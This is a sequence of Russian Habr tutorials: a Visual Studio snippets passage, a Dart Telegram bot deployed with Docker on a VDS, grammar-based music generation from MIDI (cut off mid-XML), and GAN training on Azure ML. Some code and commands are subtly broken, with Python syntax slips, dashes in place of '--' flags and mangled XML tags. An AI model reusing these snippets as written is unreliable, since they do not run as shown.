Здесь приведен пример стандартного snippet'a «exception», который добавляет в код шаблон для определения класса пользовательского исключения. На примере выделены зеленым цветом области редактируемого текста, переход между ними происходит по нажатию tab. При изменении каждой из них, изменятся соответствующие значения текста в зависимых местах. К примеру, назови мы класс NewException и все конструкторы моментально переименуются. Кроме того, в некоторых случаях сниппет автоматически добавляет в код логику подходящую по смыслу. Например, сниппет для switch и при указании в поле ввода экземпляра типа enum автоматически сформирует case для каждого элемента enum и добавит default:
> public enum USER\_TYPE { UNKNOWN = 0, REGISTERED, NCF\_CLERK, CLERK };
>
> …
>
> switch (p\_uType) { case CommonUtil.USER\_TYPE.UNKNOWN: break; case CommonUtil.USER\_TYPE.REGISTERED: break; case CommonUtil.USER\_TYPE.NCF\_CLERK: break; case CommonUtil.USER\_TYPE.CLERK: break; default: break; }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
Как работать со сниппетами? Для этого есть два пути: набрать известное имя сниппета и нажать tab или же нажать шорткат ctrl+k+x для вывода списка всех зарегистрированных сниппетов. Первый вариант удобнее: можно набрать, к примеру «prop», нажать tab и мгновенно получить шаблонное определение свойства класса.
Вполне естественно, что такой механизм чрезвычайно полезен. Он экономит время, позволяя определять заранее отформатированный код с возможностью удобной кастомизации. Возможно, это никак не повлияет на работу вашей программы, но добавит вам некоторую порцию удовольствия от процесса кодирования. Еще больше пользы можно получить делая свои сниппеты. Об этом во второй части статьи.
PS: «в статье нет ошибок!» — к сожалению утверждать этого невозможно, но я буду рад, если вы обратите мое внимание на найденную вами ошибку. | https://habr.com/ru/post/25093/ | null | ru | null |
# Telegram-бот на Dart + Docker + VDS
В этой статье я хочу поделиться своим опытом создания Telegram-бота написанного на Dart и запущенного через Docker на VDS.
*Оригинал статьи размещён*[*тут*](https://link.medium.com/TRJqMrt2nmb)*.*
В конце у вас будет работающий Telegram-бот, написанный на Dart, запущенный в контейнере Docker и размещенный на VDS. Вы сможете отправлять сообщения боту и получать ответы, а также отправлять фотографии, хранить их на VDS и удалять, при необходимости.
Эта статья представляет собой реальный кейс, когда мне пришлось загружать фотографии на VDS (которые пользователь отправил боту), отправлять их в базу данных, а затем удалять их с VDS.
---
И так, для того, чтобы все это сделать, нам нужно следующее:
* Создать нового бота с помощью BotFather;
* Создать новый dart-проект и написать код бота;
* Настроить все необходимые пакеты и плагины на VDS;
* Запустить контейнер Docker и протестировать бота.
> *Telegram-бот и VDS, которые использовались для этой статьи, удалены, поэтому все данные, такие как токен Telegram API или IP-адрес VDS, должны быть заменены.*
>
>
### 1. Новый бот
Это самая простая часть, все, что нам нужно сделать, это перейти к BotFather, нажав на [эту ссылку](https://t.me/BotFather), и создать нового бота.
Выберите в меню «Создать нового бота» или введите команду **/newbot** в текстовом поле.
Вас попросят указать имя бота (оно может быть не уникальным) и имя пользователя бота, которые должны быть уникальными и содержать «\_bot» в конце.
Для этой статьи я выбрал имя пользователя **ak\_medium\_bot**. BotFather дал мне токен для доступа к Telegram API (пример на скриншоте). Вы всегда можете получить его или сбросить с помощью BotFather.
С этим всё!
### 2. Проект Dart
Сначала установите Dart на вашу машину. Все шаги описаны на [официальном сайте](https://dart.dev/get-dart#install), и это довольно просто, поэтому у вас не должно быть никаких проблем.
После установки Dart откройте терминал на компьютере Mac или Linux, перейдите в папку в которой вы хотите сохранить проект и выполните следующую команду (у вас должны быть права администратора):
```
dart create -t console-full bot_medium
```
(для получения дополнительной информации о создании проектов Dart посетите [этот](https://dart.dev/tutorials/server/get-started#3-create-a-small-app) сайт).
Теперь откройте созданную папку в любой IDE, которой вам нравится. Например, я использую VS Code.
В терминале вашей IDE (или просто в терминале) выполните следующую команду для установки пакета [Teledart](https://pub.dev/packages/teledart):
```
dart pub add teledart
```
Перейдите в папку *bin*, откройте *bot\_medium.dart* и замените его содержимое следующим:
Код bot\_medium.dart
> **Важно! Не храните ключи API, как это было сделано в этой статье! Всегда держите их в секрете и подальше от гита!**
>
>
Приведенный выше код запускает Telegram-бота и ждет, когда пользователь введет определенные ключевые слова. Если какое-либо ключевое слово будет отправлено боту, он запускает соответствующие действие.
Далее создадим новый файл в корне папки проекта и присвоим ему имя *Dockerfile*, без какого-либо типа или точки в конце. Заполните его следующим:
Dockerfile*Dockerfile* создает образ Docker из нашего проекта Dart.
Теперь пришло время создать новый репозиторий, например, на [GitHub](https://github.com/). Перейдите в терминале в папку проекта и выполните следующие действия:
```
git init
git add -A
git commit -m "first commit"
git branch -M main
git remote add origin https://github.com/kharitonovAL/bot_medium.git
git push -u origin main
```
Обратите внимание! Ваш **git remote add origin** [**https://github.com/kharitonovAL/bot\_medium.git**](https://github.com/kharitonovAL/bot_medium.git) будет отличаться.
Отлично! Двигаемся дальше!
### 3. VDS
Чтобы бот был доступен 24/7, мы должны запустить его на сервере. Вы можете использовать любого поставщика услуг VDS, которого хотите. Что касается меня — я использую сервис [reg.ru](http://reg.ru/), он не дорогой, стабильный и имеет предварительно настроенные образы операционной системы.
Если вы используете другого поставщика услуг VDS, я рекомендую вам установить Ubuntu с версией 18.04 или 20.04, как показано на скриншоте:
Я выбираю версию 20.04 для этой статьи.
Так, теперь у нас есть VDS, работающие на Ubuntu со следующими параметрами:
Пароль *root* пользователя был отправлен на мою электронную почту.
Теперь нам нужно подключиться к нашему серверу и установить Dart и Docker.
Используйте любой ssh-клиент или терминал для подключения к серверу. Если вы используете терминал, запустите следующее: **ssh** [**root@89.108.70.91**](mailto:root@89.108.70.91). Вас попросят ввести пароль пользователя root.
Если вы все сделали правильно, вы будете подключены к серверу:
Теперь давайте установим Dart на ваш VDS. Все шаги описаны на [официальном сайте](https://dart.dev/get-dart#install).
После установки вы можете ввести в терминале **dart --version**, чтобы проверить, что Dart установлен:
```
root@89–108–70–91:~# dart — version
Dart SDK version: 2.14.4 (stable) (Unknown timestamp) on “linux_x64"
```
Далее установим Docker, как описано на [официальном сайте](https://docs.docker.com/engine/install/ubuntu/#install-using-the-repository).
Убедитесь, что Docker Engine установлен правильно, запустив образ hello-world:
```
sudo docker run hello-world
```
Эта команда загружает тестовый образ и запускает его в контейнере. Когда контейнер запускается, он печатает сообщение и выходит.
Теперь давайте установим официальный контейнер Dart, как описано [здесь](https://hub.docker.com/_/dart?tab=description).
И еще нам нужно создать нового пользователя для Ubuntu, чтобы позже собрать и запустить бота в контейнере Docker. Для этого запустите в терминале следующее:
```
adduser duser
// (вы можете выбрать любое другое имя)
```
Выходные данные будут похожи на то, что показано на скриншоте:
**Важно!**Добавьте нового пользователя в группу Docker, как описано [здесь](https://docs.docker.com/engine/install/linux-postinstall/). Там описано всего два шага:
1. Создайте группу docker:
```
sudo groupadd docker
```
2. Добавьте своего пользователя в группу docker:
```
// (duser в моем случае)
sudo usermod -aG docker duser
```
Далее нам нужно создать папку, которую мы прикрепим к нашему контейнеру, чтобы сохранять там фотографии. Это необходимый шаг, если вы хотите пробрасывать данными в контейнер. Если вы не создадите и не присоедините папку к контейнеру, вы не сможете сохранить файлы. Другими словами — вы не можете сохранить файл внутри контейнера. Вы должны сделать это в файловой системе хоста. Вы можете прочитать больше об этом [здесь](https://dotsandbrackets.com/persistent-data-docker-volumes-ru/) и [здесь](https://docs.docker.com/storage/).
Если вам нужно сохранить файлы, вы можете соответствующим образом изменить код бота. В моем случае мне нужно сохранить фотографии (или изображения, если хотите), поэтому сделайте следующее:
* Перейдите в корневой каталог, когда вы сделаете путь в терминале, он должен выглядеть следующим образом: **root@89–108–70–91:/#** (начинается с /);
* Перейдите в каталог *var*, выполнив *cd var*;
* Создать новую папку с загрузкой имени, выполнив *mkdir upload*в терминале;
* Введите *ls* и нажмите Enter.
Вы должны увидеть что-то подобное в терминале:
Если вы хотите сначала протестировать своего бота на локальной машине, создайте папку загрузки с тем же путем.
Если вы видите папку загрузки, вы можете двигаться вперед.
Хорошо, теперь давайте клонируем наш репозиторий из GiHub. Перейдите в папку **home** и выполните следующее:
```
git clone https://github.com/kharitonovAL/bot_medium.git
```
Отлично, следующий шаг!
### 4. Сборка и запуск контейнера Docker
Итак, теперь вы все настроили.
Теперь войдите в систему со своим новым пользователем (в моем случае **duser**). Перейдите в папку вашего бота-проекта (в моем случае он находится по пути /home/bot\_medium) и создайте образ Docker следующей командой:
```
docker build -t dart-server .
// (да, в конце есть пробел и точка)
```
Выходные данные будут аналогичны следующему:
Данные
```
duser@89-108-70-91:~$ cd ..
duser@89-108-70-91:/home$ cd bot_medium
duser@89-108-70-91:/home/bot_medium$ docker build -t dart-server .
Sending build context to Docker daemon 100.9kB
Step 1/12 : FROM dart:stable AS build
---> 91437c5c4a32
Step 2/12 : WORKDIR /app
---> Using cache
---> d9119631358f
Step 3/12 : COPY pubspec.* ./
---> Using cache
---> 2c5d1335e912
Step 4/12 : RUN dart pub get
---> Using cache
---> 0a673e765734
Step 5/12 : COPY . .
---> 7c7f640d4fa1
Step 6/12 : RUN dart pub get --offline
---> Running in 40222d0387df
Resolving dependencies...
Got dependencies!
Removing intermediate container 40222d0387df
---> ef8bfd2f84b3
Step 7/12 : RUN dart compile exe bin/bot_medium.dart -o bin/server
---> Running in ab4c98041acc
Info: Compiling with sound null safety
Generated: /app/bin/server
Removing intermediate container ab4c98041acc
---> bbb20f1d1a4e
Step 8/12 : FROM scratch
--->
Step 9/12 : COPY --from=build /runtime/ /
---> c4a23b9f77c4
Step 10/12 : COPY --from=build /app/bin/server /app/bin/
---> 4b9c61aa381b
Step 11/12 : EXPOSE 8080
---> Running in 1a434ab35272
Removing intermediate container 1a434ab35272
---> e47cf083a71f
Step 12/12 : CMD ["/app/bin/server"]
---> Running in 761123b25035
Removing intermediate container 761123b25035
---> 98ba199f8aca
Successfully built 98ba199f8aca
Successfully tagged dart-server:latest
```
> **Важно! Если вы попытаетесь запустить docker build -t dart-server. с правами root пользователя, вы получите AOT ошибку компиляции.**
>
>
Хорошо, теперь нужно сообщить системе, что бот должен быть онлайн 24/7. Для этого выполните следующее в терминале (сделать это нужно root пользователем):
```
systemctl enable docker.service
systemctl enable containerd.service
```
Теперь давайте запустим наш контейнер! Выполните следующее (сделайте это с помощью **duser**):
```
docker run -d — restart=always -p 8080:8080 \-v /var/upload:/var/upload \dart-server
```
Вывод будет примерно следующим:
```
duser@89-108-70-91:~$ cd ..
duser@89-108-70-91:/home$ cd bot_medium
duser@89-108-70-91:/home/bot_medium$ docker run -d --restart=always -p 8080:8080 \-v /var/upload:/var/upload \dart-server
2d46670198864b4adef9afa126c1e0b5c9917657b69aae7a5b01d0335700b1e2
duser@89-108-70-91:/home/bot_medium$
```
Чтобы убедиться, что наш контейнер запущен, выполните *docker ps* в терминале, и вывод будет следующим:
```
duser@89-108-70-91:/home/bot_medium$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
2d4667019886 dart-server "/app/bin/server" 18 seconds ago Up 17 seconds 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp vigorous_khayyam
duser@89-108-70-91:/home/bot_medium$
```
Наконец-то наш бот теперь онлайн. Но это еще не конец. Выполните следующее, чтобы обновить настройки контейнера Docker:
```
docker update --restart=always vigorous_khayyam
```
Этой командой мы говорим Docker перезапускать этот контейнер каждый раз, когда он отключается.
Имя моего контейнера в данном случае — vigorous\_khayyam. Имя вашего контейнера может быть другим. Выполните команду *docker ps*. Вы увидите список запущенных контейнеров Docker и сможете увидеть имя вашего.
### 5. Тестирование
Давайте протестируем нашего бота!
Мы отправили фото! Теперь давайте сделаем паузу и проверим, все ли идет как надо после того, как мы отправили фото. Перейдите в каталог */var/upload* и введите команду *ls*, вы увидите вложенную папку с именем chat\_id:
```
duser@89-108-70-91:/home/bot_medium$ cd ..
duser@89-108-70-91:/home$ cd ..
duser@89-108-70-91:/$ cd var/upload
duser@89-108-70-91:/var/upload$ ls
415294329
duser@89-108-70-91:/var/upload$
```
Круто, фото есть! Теперь давайте нажмем кнопку «Удалить изображение» в действиях бота и еще раз проверим содержимое */var/upload*:
```
duser@89-108-70-91:/home/bot_medium$ cd ..
duser@89-108-70-91:/home$ cd ..
duser@89-108-70-91:/$ cd var/upload
duser@89-108-70-91:/var/upload$ ls
duser@89-108-70-91:/var/upload$
```
И теперь фото нет!
---
Теперь вы знаете как создать Telegram-бота с помощью Dart, Docker и VDS. Эта статья также будет полезна Flutter разработчикам.
Код bot\_medium вы можете найти [здесь](https://github.com/kharitonovAL/bot_medium).
> **Telegram-бот и VDS, которые использовались для этой статьи, удаляются, поэтому все конкретные данные, такие как токен Telegram API или IP-адрес VDS, должны быть заменены.**
>
>
Спасибо за внимание! | https://habr.com/ru/post/598761/ | null | ru | null |
# Генерация музыки на основе заданного стиля
| | |
| --- | --- |
| | В данном посте я хочу рассказать об очень простом способе генерации музыки в заданном стиле с помощью контекстно-зависимой грамматики. |
Введение
========
Работать мы будем с файлами в формате [MIDI](http://ru.wikipedia.org/wiki/MIDI). Да, хабраюзер, я рыдаю вместе с тобой, но именно в этом формате уже изначально прописаны какие в мелодии инструменты, ноты, длительности. А вот из [MP3](http://ru.wikipedia.org/wiki/MP3) их уже не получишь (тривиальным методом по крайней мере), а так бы хотелось...
Но не будем отчаиваться, в интернетах водится масса качественных MIDI-файлов. Могу порекомендовать сервис [HamieNET.com](http://www.hamienet.com/). Он позволяет не только скачать MIDI-файл, но и слить сразу мелодию, конвертированную в MP3, а также слить XML-файл, полученный из MIDI, отображает треки, содержащиеся в файле, позволяет прослушать их по одному и т.д. Также есть онлайн-сервис конвертирования вашего MIDI в MP3. Правда, если не платить деньги, то можно конвертировать только одну мелодию в день.
Демонстрация работы
===================
Это оригинальная мелодия Nightwish — Ever Dream:
[ссылка](http://www.mediafire.com/?dzmuqm5vj2f) [зеркало](http://fileland.ru/file_id-246309)
А это, то, что получилось в результате работы алгоритма:
[ссылка](http://www.mediafire.com/?izzyywnydd2) [зеркало](http://fileland.ru/file_id-246310)
Это просто перезапуск проги, ничего не меняя, мелодия немного отличается:
[ссылка](http://www.mediafire.com/?mhdzxmoiwhv) [зеркало](http://fileland.ru/file_id-246311)
В первом варианте, конечно, слышны иногда косяки, во втором все более плавно.
Описание алгоритма
==================
Алгоритм основан на построении [контекстно-зависимой грамматики](http://en.wikipedia.org/wiki/Context-sensitive_grammar) по исходной мелодии, а затем генерировании на основе этой грамматики новой мелодии по заданной начальной последовательности.
Для того, чтобы создать мелодию, нам нужны какие-то правила: например, какие ноты могут идти после текущей последовательность нот. Плюс построения новой мелодии на основе уже существующей в том, что нам не нужно самим придумывать эти правила, а мы просто берем их заданной мелодии.
Все эти правила образуют собой грамматику. Контекстно-зависимая она, потому что и левая, и правая часть правила могут быть окружены контекстом из [терминальных и нетерминальных символов](http://en.wikipedia.org/wiki/Terminal_symbol). Скорее всего сейчас непонятно, о чем вообще идет речь и что это за страшные слова. Но давайте рассмотрим пример и все сразу встанет на свои места.
Возьмем обычную строку: ABCDEFGIKFHLEFJ. И начнем строить для нее грамматику, начав, скажем, с символа F (вообще это нужно проделать для каждого символа).
Нам нужно написать правило, которое бы указывало нам, какую букву следует поставить, если мы вдруг встретили символ F. Записывается это так: F -> *что-то*. Как видим, мы не можем создать такое правило, так как лишь по одной букве не можем определить что же должно идти следом: после F может идти как G, так и H или J. Поэтому мы добавляем контекст к нашей букве F, контекст — это символы, окружающие F. Возьмем по одной букве перед F. Получим EF и KF. Контекстом для буквы F здесь служат буквы E и K. Мы с вами только что расширили контекст на один символ, поэтому данный метод построения грамматики называется методом динамически расширяющегося контекста.
Посмотрим можем ли мы сейчас создать правило. После KF идет H, и больше нет других вариантов. Мы получили первое конечное правило: KF -> H (читается как «KF *продуцирует* H). Теперь, если, например, на конце строки мы встретим KF и нужно будет продлить строку на один символ, мы смело напишем H.
Но у нас еще осталась проблема: после EF может идти как G, так и J. Поэтому мы должны расширить контекст еще на один символ: DEF и LEF. И наконец-то мы получили конечные правила:
KF -> H
DEF -> G
LEF -> J
Это правила для буквы F, в зависимости от ее контекста мы выбираем какое-то одно правило из трех.
Процесс генерации новой строки выглядит следующим образом: дана начальная последовательность, например ADEF. Начинаем брать буквы с конца. F — нет правила с такой левой частью, расширяем контекст — EF, опять нет, расширяем — DEF, есть такое правило, ставим G, получаем ADEFG. Начинаем все сначала: берем букву G и т.д. столько раз, сколько нам нужно.
Будет удобно представлять грамматику в виде дерева. Для буквы F дерево будет иметь следующий вид:
В узлах находятся левые части правил, рядом с узлами написаны правые части правил — возможные продукции. Числа слева от дерева указывают, на каком контекстном уровне находятся узлы.
Теперь перед нами встает следующая проблема: если мы будем генерировать новую последовательность строго по заданным правилам, то мы получим в точности исходную строку (мелодию), а мы хотим создать новую. Поэтому в ряде случаев мы должны не доходить до конечного правила, а взять промежуточное. Это означает, что иногда, встретив скажем такую последовательность: ADEF, мы не будем расширять контекст до конечного правила DEF -> G, а остановимся на F и рандомом или каким-то другим методом выберем любую продукцию (H, G, J) у узла F в дереве. Или остановимся на EF и выберем продукцию G или J. Т.е. мы случайно выбираем уровень контекста в дереве и продукцию на этом уровне.
Ну а теперь представим, что каждая буква — это не буква, а аккорд, а применительно к MIDI-файлу будет вернее сказать, что это совокупность событий (к которым относится включение/выключение ноты, смена канала и т.д.), и вот уже наш алгоритм готов для мелодии.
Еще немного о MIDI
==================
Наткнувшись на онлайн-сервис, позволяющий конвертировать MIDI в XML, я понял, что так с ним будет работать намного удобнее. Также нам нужно проделать еще одну вещь. Есть несколько форматов MIDI файлов. Формат 0 содержит 1 трек, форматы 1 и 2 содержат несколько треков. Чаще всего попадаются MIDI с форматом 1, где под каждый инструмент отводится свой трек: на одном треке играют гитарки, на другом скрипка и т.д. Это добавит некоторые трудности при построении грамматики. Нужно будет следить, что происходит на другом треке. Поэтому мы просто конвертируем формат 1 в формат 0, чтобы все инструменты были в куче на одном треке, а после перегоним еще и в XML. Все эти инструменты доступны [здесь](http://en.nemidi.com/).
В конечном итоге получим примерно такой файл:
> `</fontxml version="1.0" encoding="ISO-8859-1"?>
> DOCTYPE MIDIFile PUBLIC
> "-//Recordare//DTD MusicXML 0.9 MIDI//EN"
> "http://www.musicxml.org/dtds/midixml.dtd">
> <MIDIFile>
> <Format>0Format>
> <TrackCount>1TrackCount>
> <TicksPerBeat>384TicksPerBeat>
> <TimestampType>AbsoluteTimestampType>
> <Track Number="0">
> <Event>
> <Absolute>0Absolute>
> <ControlChange Channel="2" Control="91" Value="46"/>
> Event>
> <Event>
> <Absolute>0Absolute>
> <ProgramChange Channel="2" Number="49"/>
> Event>
> <Event>
> <Absolute>0Absolute>
> <ControlChange Channel="2" Control="0" Value="0"/>
> Event>
> ...
> <Event>
> <Absolute>24908Absolute>
> <NoteOff Channel="11" Note="41" Velocity="127"/>
> Event>
> <Event>
> <Absolute>24912Absolute>
> <NoteOn Channel="11" Note="41" Velocity="127"/>
> Event>
> <Event>
> <Absolute>24956Absolute>
> <NoteOff Channel="11" Note="41" Velocity="127"/>
> Event>
> <Event>
> <Absolute>24960Absolute>
> <NoteOn Channel="11" Note="41" Velocity="127"/>
> Event>
> ...
> Track>
> MIDIFile>
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/69985/ | null | ru | null |
# Тренируем генеративно-состязательную сеть для рисования картин на Azure ML
Глубокое обучение иногда выглядит как чистая магия, особенно тогда, когда компьютер учится делать что-то действительно креативное, например, рисовать картины! Используемая для этого технология называется GAN — генеративно-состязательная сеть, и в этой заметке мы рассмотрим, как такие сети устроены, и как натренировать их для генерации картин с помощью Azure Machine Learning.
> Этот пост является частью инициативы [AI April](http://aka.ms/AIApril). Каждый день апреля мои коллеги из Microsoft пишут интересные статьи на тему AI и машинного обучения. Посмотрите на [календарь](http://aka.ms/AIApril) — вдруг вы найдёте там другие интересующие вас темы. Статьи преимущественно на английском.
Если вы читали мои предыдущие посты про [использование Azure ML с VS Code](https://habr.com/ru/company/microsoft/blog/485338/) и [оптимизацию гиперпараметров](http://soshnikov.com/azure/using-azureml-for-hyperparameter-optimization-ru/)), то вы должно быть уже вдохновились тем, как удобно использовать Azure ML. Однако, рассмотренные мною примеры касались "игрушечного" датасета MNIST. Сегодня же мы рассмотрим применение Azure ML для решения практической задачи — создания искусственного искусства, например, таких картин:
| Flowers | Portrait |
| --- | --- |
| Цветы, 2019, *Art of the Artificial*
[keragan](https://github.com/shwars/keragan) на наборе [WikiArt](https://www.wikiart.org/): цветы | Королева хаоса, 2019,
[keragan](https://github.com/shwars/keragan) на наборе [WikiArt](https://www.wikiart.org/): портреты |
Эти картины получены после обучения сети на наборе изображений из проекта [WikiArt](https://www.wikiart.org/). Если вы захотите воспроизвести мои результаты, вы можете собрать данные самостоятельно, например, с использованием [WikiArt Retriever](https://github.com/lucasdavid/wikiart), или взяв существующие коллекции из [WikiArt Dataset](https://github.com/cs-chan/ArtGAN/blob/master/WikiArt%20Dataset/README.md) или [проекта GANGogh](https://github.com/rkjones4/GANGogh).
Я буду предполагать, что вы поместили все изображения для тренировки в директорию `dataset`. Эти изображения могут выглядеть, например, так:
Нейронная сеть, обучаясь на таких изображениях, должна научиться как базовым приёмам рисования (мазки краски, текстура холста), так и более крупным элементам (цветы, ваза) и особенностям композиции.
Генеративно-состязательные сети
-------------------------------
Для генерации картин используются [**генеративно-состязательные сети**](https://ru.wikipedia.org/wiki/Генеративно-состязательная_сеть) (GAN).
Для упрощения работы с GAN я реализовал простую библиотеку [keragan](https://github.com/shwars/keragan) на базе Keras, и ниже опишу основные фрагменты кода в немного упрощённом виде.
GAN состоит из двух сетей:
* **Генератор**, способный генерировать изображения по входному **вектору шума**
* **Дискриминатор**, который различает настоящую картину и "поддельную" (сгенерированную генератором)
Обучение GAN происходит следующим образом:
1. Получаем набор настоящих и сгенерированных изображений:
```
noise = np.random.normal(0, 1, (batch_size, latent_dim))
gen_imgs = generator.predict(noise)
imgs = get_batch(batch_size)
```
2. Обучаем дискриминатор лучше различать оригинал и подделку. В качестве ожидаемого выхода мы передаём вектор единиц `ones`и нулей `zeros` соответственно:
```
d_loss_r = discriminator.train_on_batch(imgs, ones)
d_loss_f = discriminator.train_on_batch(gen_imgs, zeros)
d_loss = np.add(d_loss_r , d_loss_f)*0.5
```
3. Тренируем комбинированную модель, состоящую из обоих сетей, чтобы улучить работу генератора:
```
g_loss = combined.train_on_batch(noise, ones)
```
На этом шаге дискриминатор не обучается, поскольку его веса в явном виде заморожены — это мы делаем при создании комбинированной модели:
```
discriminator = create_discriminator()
generator = create_generator()
discriminator.compile(loss='binary_crossentropy',optimizer=optimizer,
metrics=['accuracy'])
discriminator.trainable = False
z = keras.models.Input(shape=(latent_dim,))
img = generator(z)
valid = discriminator(img)
combined = keras.models.Model(z, valid)
combined.compile(loss='binary_crossentropy', optimizer=optimizer)
```
Архитектура дискриминатора
--------------------------
Чтобы отличать настоящее изображение от подделки, мы используем классическую архитектуру [**свёрточной сети**](https://ru.wikipedia.org/wiki/Свёрточная_нейронная_сеть) (CNN). Для изображения размером 64x64 она может выглядеть так:
```
discriminator = Sequential()
for x in [16,32,64]: # number of filters on next layer
discriminator.add(Conv2D(x, (3,3), strides=1, padding="same"))
discriminator.add(AveragePooling2D())
discriminator.addBatchNormalization(momentum=0.8))
discriminator.add(LeakyReLU(alpha=0.2))
discriminator.add(Dropout(0.3))
discriminator.add(Flatten())
discriminator.add(Dense(1, activation='sigmoid'))
```
У нас используются 3 свёрточных слоя:
* Исходное изображение размером 64x64x3 обрабатывается 16-ю фильтрами, что даёт (после применения `AveragePooling2D` для понижения размерности) тензор 32x32x16.
* На следующем шаге тензор 32x32x16 превращается в 16x16x32
* После финального свёрточного слоя мы получаем размерность 8x8x64.
Наконец, поверх свёрточной базы мы размещаем обычный классификатор в виде логистической регрессии (иными словами — `Dense` слой из одного нейрона).
Архитектура генератора
----------------------
Генератор устроен чуть более сложно. Для начала, представим, что мы хотим преобразовать изображение во внутреннее представление — вектор размерности `latent_dim=100`. Для этого мы стали бы использовать свёрточную сеть примерно такой же архитектуры, как описанный выше дискриминатор, только размерность последнего полносвязного слоя была бы 100..
Генератор решает обратную задачу — преобразует вектор размерности 100 в изображение. Для этого используется процесс под названием **обратная свёртка**. Вместе со слоями повышения размерности `UpSampling2D` они применяются для перехода ко всё большей размерности на следующем слое, вместе с уменьшением числа фильтров:
```
generator = Sequential()
generator.add(Dense(8 * 8 * 2 * size, activation="relu",
input_dim=latent_dim))
generator.add(Reshape((8, 8, 2 * size)))
for x in [64;32;16]:
generator.add(UpSampling2D())
generator.add(Conv2D(x, kernel_size=(3,3),strides=1,padding="same"))
generator.add(BatchNormalization(momentum=0.8))
generator.add(Activation("relu"))
generator.add(Conv2D(3, kernel_size=3, padding="same"))
generator.add(Activation("tanh"))
```
На последнем слое мы получаем тензор размерности 64x64x3, что по размерности соответствует нашему изображению. Используемая функция активации `tanh` даёт нам выходной сигнал в диапазоне [-1;1] — а это означает, что входные изображения нам тоже необходимо привести к этому интервалу. Все шаги по подготовке данных, включая масштабирование и приведение в требуемому диапазону, выполняет класс `ImageDataset`, на котором я не буду подробно останавливаться.
Обучающий скрипт для Azure ML
-----------------------------
Теперь когда все фрагменты генеративно-состязательной сети собраны, нам надо подготовить обучающий скрипт и запустить его на Azure ML в виде эксперимента!
Есть, однако, одна важная деталь. При запуске экспериментов на Azure ML мы обычно отслеживаем некоторые числовые метрики, типа точности (*accuracy*) и значения функции потерь (*loss*). Мы *логируем* эти значения во время эксперимента вызывая `run.log`, как описано в [моей заметке](https://habr.com/ru/company/microsoft/blog/485338/), и затем можем наблюдать за ними на [портале Azure ML](http://ml.azure.com/?WT.mc_id=aiapril-blog-dmitryso).
В нашем случае числовые метрики имеют мало смысла, и вместо этого нам интересно отслеживать изображения, которые наша сеть (а точнее генератор) может генерировать на каждой эпохе обучения. Визуально оценивая эти изображения мы можем принять решение, стоит ли досрочно прервать эксперимент, т.к. что-то пошло не так и обучение зашло в тупик, или надо продолжать обучение.
К счастью, Azure ML поддерживает логирование изображений, и это описано [в документации](https://docs.microsoft.com/azure/machine-learning/how-to-track-experiments/?WT.mc_id=aiapril-blog-dmitryso). Для этого используется функция `log_image`, в качестве аргумента которой может быть изображение в виде numpy-массива, или же график, построенный с помощью `matplotlib`. В нашем примере мы используем последний вариант, и передадим график, содержащий три сгенерированных сетью изображения. За процесс логирования отвечает функция `callbk`, которая вызывается обучающим циклом `keragan` после каждой эпохи:
```
def callbk(tr):
if tr.gan.epoch % 20 == 0:
res = tr.gan.sample_images(n=3)
fig,ax = plt.subplots(1,len(res))
for i,v in enumerate(res):
ax[i].imshow(v[0])
run.log_image("Sample",plot=plt)
```
Сам по себе обучающий код выглядит так:
```
gan = keragan.DCGAN(args)
imsrc = keragan.ImageDataset(args)
imsrc.load()
train = keragan.GANTrainer(image_dataset=imsrc,gan=gan,args=args)
train.train(callbk)
```
Код получился компактный, поскольку `keragan` поддерживает автоматический парсинг большинства параметров командной строки, и нам достаточно передать в конструкторы структуру `args`, чтобы заполнить такие параметры, как количество эпох, размерность изображений, *learning rate* и т.д.
Запускаем эксперимент
---------------------
Для запуска эксперимента на Azure ML мы можем воспользоваться либо VS Code, как описано [тут](https://habr.com/ru/company/microsoft/blog/485338/), либо программным SDK, как описано [в прошлом посте про Azure ML](http://soshnikov.com/azure/using-azureml-for-hyperparameter-optimization-ru/). Соответствующий код находится в файле [submit\_gan.ipynb](https://github.com/CloudAdvocacy/AzureMLStarter/blob/master/submit_gan.ipynb), и он начинается с привычного кода:
* Поключаемся к рабочей области: `ws = Workspace.from_config()`
* Подключаемся к вычислительному кластеру: `cluster = ComputeTarget(workspace=ws, name='My Cluster')`. Для нашего примера понадобятся машины с GPU, такие как [NC6][AzureVMNC].
* Загружаем набор картинок в хранилище данных по умолчанию для нашей рабочей области: `ds.upload(...)`.
После того, как предварительные шаги выполнены, мы запускаем эксперимент:
```
exp = Experiment(workspace=ws, name='KeraGAN')
script_params = {
'--path': ws.get_default_datastore(),
'--dataset' : 'faces',
'--model_path' : './outputs/models',
'--samples_path' : './outputs/samples',
'--batch_size' : 32,
'--size' : 512,
'--learning_rate': 0.0001,
'--epochs' : 10000
}
est = TensorFlow(source_directory='.',
script_params=script_params,
compute_target=cluster,
entry_script='train_gan.py',
use_gpu = True,
conda_packages=['keras','tensorflow','opencv','tqdm','matplotlib'],
pip_packages=['git+https://github.com/shwars/keragan@v0.0.1']
run = exp.submit(est)
```
Нам необходимо передать параметры `model_path=./outputs/models` и `samples_path=./outputs/samples`, чтобы записать результаты обучения (примеры изображений и модели) в поддиректории каталога `outputs`. Всё содержимое этой директории сохраняется в истории эксперимента, и ко всем файлам можно будет потом получить доступ программно, или визуально через портал Azure ML.
Для создания объекта `Estimator`, который без проблем будет работать на GPU, мы используем класс [`Tensorflow`](https://docs.microsoft.com/python/api/azureml-train-core/azureml.train.dnn.tensorflow?view=azure-ml-py&WT.mc_id=aiapril-blog-dmitryso). Он очень похож на стандартный класс [`Estimator`](https://docs.microsoft.com/python/api/azureml-train-core/azureml.train.estimator.estimator?view=azure-ml-py&WT.mc_id=aiapril-blog-dmitryso), но также "из коробки" поддерживает некоторые опции распределённого обучения. Подробнее про использование различных `Estimator`-ов можно прочитать [в официальной документации](https://docs.microsoft.com/azure/machine-learning/how-to-train-ml-models?WT.mc_id=aiapril-blog-dmitryso).
Ещё один интересный момент — это то, как мы устанавливаем библиотеку `keragan` непосредственно из исходников на GitHub. Можно безусловно устанавливать её из репозитория PyPI как стадартный `pip`-пакет, но я хотел показать, что установка исходников из GitHub также поддерживается, с возможностью указать конкретный тэг или commit ID. При создании этого примера мне удобнее было каждый раз подтягивать свежую версию библиотеки прямо из репозитория, без необходимости перевыпускать новую версию на PyPI.
